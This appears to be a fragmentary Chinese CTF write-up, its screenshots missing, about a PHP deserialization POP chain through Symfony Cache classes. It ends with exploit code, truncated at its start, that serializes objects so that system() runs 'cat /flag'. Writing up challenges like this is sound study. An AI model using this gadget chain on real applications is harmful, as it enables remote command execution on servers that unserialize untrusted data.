界面如上,比较单一:
指出了反序列化的点:还有备份文件。
下面反序列化的入口:
就当找到了吧:
确实可以跳转:
可控:
寻找这个类,看是否被调用:
开始寻找使用了saveDeferred类的:
看别人的WP这个是唯一可以使用的:
调用了本类的initialise方法,但前文并没有定义,据其他WP说是会去父类找,
偷一张其继承关系的图:
查询得到其主要父类,尝试全局搜索initialise()
include可以使用:
那么在之前的那个PhpArrayAdapter.php中定义好$this->file,只要其存在就能包含出来:
贴exp:
pool = $x;
}
}
class ProxyAdapter{
protected $setInnerItem = 'system';
}
namespace Symfony\Component\Cache;
class CacheItem{
protected $innerItem = 'cat /flag';
}
$a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter(new \Symfony\Component\Cache\Adapter\ProxyAdapter());
$a->deferred = array('aa'=>new \Symfony\Component\Cache\CacheItem);
echo urlencode(serialize($a));
使用: